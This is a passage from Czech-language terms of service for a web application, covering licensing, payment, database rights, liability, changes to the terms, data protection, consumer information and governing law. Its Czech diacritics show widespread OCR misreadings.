2.4. Uzavienim Smlouvy vstupuji v i¢innost ndsledujici ustanoveni téchto VOP.
3. Uzivani Aplikace

3.1. Provozovatel udéluje UZivateli Licenci v rozsahu a za podminek uvedenych v uZivatel-

ském prostfedi Aplikace, zejména uvedenych u daného typu UZzivatelského uctu.

3.2. Uzivatel se za udéleni Licence zavazuje Provozovateli zaplatit odménu ve vysi uve-
dené v uzivatelském prostiedi Aplikace, a neni-li u konkrétniho zptisobu pouziti (zejména

u daného UZivatelského ti¢tu odména uvedena), plati, Ze je Licence poskytnuta beztiplatné.

3.3. V pripadé¢, ze je Licence udélena za odménu, ma Provozovatel pravo poskytnout
plnéni Smlouvy (napf. zpfistupnit danou ¢ast nebo funkcionalitu Aplikace) aZ v moment¢,
kdy dojde k zaplaceni odmény za poskytnuti Licence, a nezaplati-li UZivatel za Licenci
odménu v plné vysi v Provozovatelem stanovené 1hité, jinak ihned, rusi se Smlouva bez

dalSiho od pocatku.

3.4. Provozovatel je po uplynuti doby Licence oprdvnén plné a/nebo ¢aste¢né znepfistupnit

Uzivatelsky ucet UZzivateli.
3.5. Uzivatel ma pravo zfidit si vice nez jeden UZivatelsky ucet.
3.6. Uzivatel nema pravo udélit tfeti osobé podlicenci k uzivani Aplikace.

3.7. Veskera finan¢ni plnéni realizovana prostiednictvim Aplikace nebo platebni brany
propojené s Aplikaci se povazuji za zaplacené pripsanim celé piislusné Castky na piislusny
bankovni ucet Provozovatele.

3.8. Provozovatel mé pravo Aplikaci nebo jeji ¢ast kdykoliv odstavit, zménit a/nebo ji

znepfistupnit z prislusné internetové adresy, a to z jakéhokoliv divodu.
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3.9. Uzivatel mé pravo na uzivani Aplikace za podminek Smlouvy v aktudlni verzi dos-

tupné z prislusné internetové adresy.

3.10. Uzivatel se zavazuje pi1 uzivani Aplikace jednat tak, aby jemu ani Provozovateli

uzivanim Aplikace nevznikla zadna Skoda.
4. Databaze

4.1. Uzivatel nema pravo prostfednictvim Aplikace strojové (zejména pomoci tzv. soft-

warovych robotll) vytéZovat databazi spojenou s Aplikaci.

4.2. Uzivatel a Provozovatel timto sjedndvaji, Ze jakékoliv udaje vlozené Uzivatelem do
databdze Aplikace jsou Casti databaze shromédzdéné Provozovatelem a stavaji se soucasti
databdze Provozovatele, aniz by UZivateli jeho jedndni popsanym v tomto odstavci vzniklo

jakékoliv pravo k databazi Aplikace.

4.3. Smluvni strany jsou si védomy, shodné prohlasuji a ¢ini nespornym, zZe Aplikace
spliiuje podminky ust. § 562 odst. 2 obcanského zdkoniku, tedy Ze zaznamy udaju v
Aplikaci a jeji databazi jakoZto elektronického systému jsou spolehlivé a jsou provadény

systematicky a posloupné a jsou chranény proti zménam.
5. Odpovédnost za Skodu
5.1. Ustanoveni tohoto ¢lanku VOP se nevztahuji na spotiebitele.

5.2. Uzivatel se timto vyslovné vzdava prava na ndhradu Skody od Provozovatele netimyslné
nebo nikoliv z hrubé nedbalosti zpiisobené Provozovatelem porusenim jakékoliv povinnosti

Provozovatele uvedené ve Smlouvé v souvislosti s plnénim Smlouvy nebo v téchto VOP.
6. Zména VOP

6.1. UzZivatel bere na védomi, ze Provozovatel uzavirda Smlouvu v bé€Zném obchodnim
styku s vétSim poctem osob a Smlouvy jsou podle svého charakteru zavazujici dlouhodobé k
opétovnym plnénim stejného druhu s odkazem na tyto VOP. Smluvni strany ¢ini nespornym,
ze z povahy zavazkl Provozovatele podle téchto VOP vyplyva a jiz pfed uzavienim

Smlouvy vyplyvala rozumnd potieba zmény téchto VOP.

6.2. Smluvni strany timto ujedndvaji, Ze Provozovatel miZe tyto VOP v pfiméfeném
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rozsahu ménit, a zdroven ujedndvaji, Ze zména VOP bude UZivateli, jako druhé strané,
oznamena prostfednictvim e-mailové zpravy odeslané na e-mailovou adresu zadanou
Uzivatelem do Aplikace. Uzivatel ma v takovém pripadé pravo zmény VOP odmitnout a
predmétny zavazek mezi nim a Provozovatelem z tohoto diivodu vypovédét ve vypovédni
dobé jeden (1) kalendafni mésic, kterd zacne béZet den ndsledujici po odeslani ozndment,
o které Smluvni strany timto shodné prohlasuji, Ze je dostatecna k obstarani obdobnych

plnéni od jiného subjektu.

6.3. V pripadé, Ze dojde k uzavieni Smlouvy k jiz existujicimu UZivatelskému Gctu (tj. k
obnoveni nebo prodlouzeni Uzivatelského uctu), ¥idi se takova Smlouva VOP ve znéni ke

dni uzavrieni takové Smlouvy.
7. Ochrana osobnich udaju

7.1. Provozovatel je ze zakona povinen chranit a zabezpecit poskytnuté osobni udaje.
Provozovatel proto vyuziva riznych efektivnich zabezpecovacich technologii k tomu, aby

byly osobni tidaje ochrdnény pfed neoprdvnénym zpiistupnénim nebo uzitim.

7.2. Podrobnéjsi informace o ochrané¢ osobnich tdajii naleznete v Zasadach ochrany

osobnich udaja.
8. Povinné informace pro Spotrebitele

8.1. Tento ¢lanek VOP je ucinny pouze vici UZivateli, ktery je spotfebitelem. Ustanoveni
uvedend v tomto ¢lanku VOP se nevztahuji zejména na podnikatele - Zivnostniky nebo

obchodni spolecnosti.
8.2. Provozovatel timto informuje UZivatele, Ze:

8.2.1. adresa pro dorucovani pisemnosti Provozovateli je shodnd s vySe uvedenou adresou

sidla Provozovatele;
8.2.2. telefonicky kontakt je 123 456 789;
8.2.3. adresa Provozovatele pro doruCovani elektronické posty je info@snaptree.cz

8.2.4. odména Provozovatele za Licenci je stanovena vcetné vSech dani a poplatka a jeji

vyse a/nebo zplisob vypoctu je stanoven v Aplikaci;
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8.2.5. UZivatel je povinen zaplatit Provozovateli odménu za Licenci, neni-li Licence
poskytovana beziplatn€, jednim ze zpusobl, ktery je u prislusné moZznosti uveden v

uzivatelském prostredi Aplikace;
8.2.6. UZivateli nevznikaji naklady na dodani;

8.2.7. k uzivani Aplikace je tieba pfistup k siti Internet a prohlize¢ Google Chrome,
Mozilla Firefox, Safari, Opera nebo Internet Explorer. Spravné fungovani Aplikace je

zajisténo v nejnovejsich verzich vyjmenovanych prohlizeci;

8.2.8. UZivatel ma pravo od Smlouvy odstoupit bez uvedeni diivodu a bez jakékoliv sankce

do 14 dnti od prevzeti plnéni. Pfevzetim plnéni se rozumi poskytnuti Licence;

8.2.9. ve vztahu k Provozovateli nevznikaji Uzivateli Zddné naklady na pouZziti komu-

nikacnich prostfedkl na délku;

8.2.10. udaje o uzavieni Smlouvy v¢. téchto obchodnich podminek jsou ulozeny v databazi

Aplikace a Uzivatel k nim ma pfistup prostfednictvim UZivatelského uctu;

8.2.11. Uzivatel ma mozZnost zjistit chyby obsazené v téchto obchodnich podminkach

kontrolou v Uzivatelském uctu;

8.2.12. opravovani chyb vzniklych pfi zaddvani dat 1ze provadét rovnéz prostfednictvim
Aplikace a tam, kde to Aplikace neumoziuje, prostfednictvim technické podpory, jejiz

kontakt je uveden v Aplikaci;

8.2.13. Provozovatel dodrzuje viechny platné zdkony Ceské republiky; z4dné dalii kodexy

nejsou pro Provozovatele zavazné,
8.2.14. Provozovatel nevyuziva zadné prostiedky mimosoudniho feSeni sport;

8.2.15. predmétem smlouvy neni dodédni zboZi, na Aplikaci se tak nevztahuji ustanoveni
zakona o reklamaci; odpovédnost za zjevné nebo skryté vady Aplikace, které méla Aplikace
v dobé jejiho zptistupnéni UZivateli, 1ze uplatnit u Provozovatele za podminek stanovenych

zakonem, Smlouvou a témito VOP;

8.2.16. Uzivatel je povinen dodrzovat tyto VOP, které jsou té€Z soucasti Smlouvy, a platné

a ucinné pravni predpisy Ceské republiky;



8.2.17. Uzivatel se miize obritit se stiznosti na organ dohledu nebo stitniho dozoru. Cesk4
obchodni inspekce vyfizuje mimosoudni stiZnosti spotfebitelli zplisobem a za podminek

stanovenych prisluSnymi pravnimi pfedpisy.
9. Rozhodné pravo

9.1. Tyto VOP, jakoZ i Smlouva, se fid{ pravnim fddem Ceské republiky, zejména zdk. .

89/2012 Sb., obcansky zakonik, ve znéni pozdéjsich predpist.

9.2. Jakékoliv spory vzniklé na zdkladé Smlouvy a/nebo téchto VOP budou rozhodovat

vécné a mistné pifslusné soudy Ceské republiky.
10. Uéinnost

10.1. Tyto VOP nabyvaji platnosti dne 1. 1. 2019.
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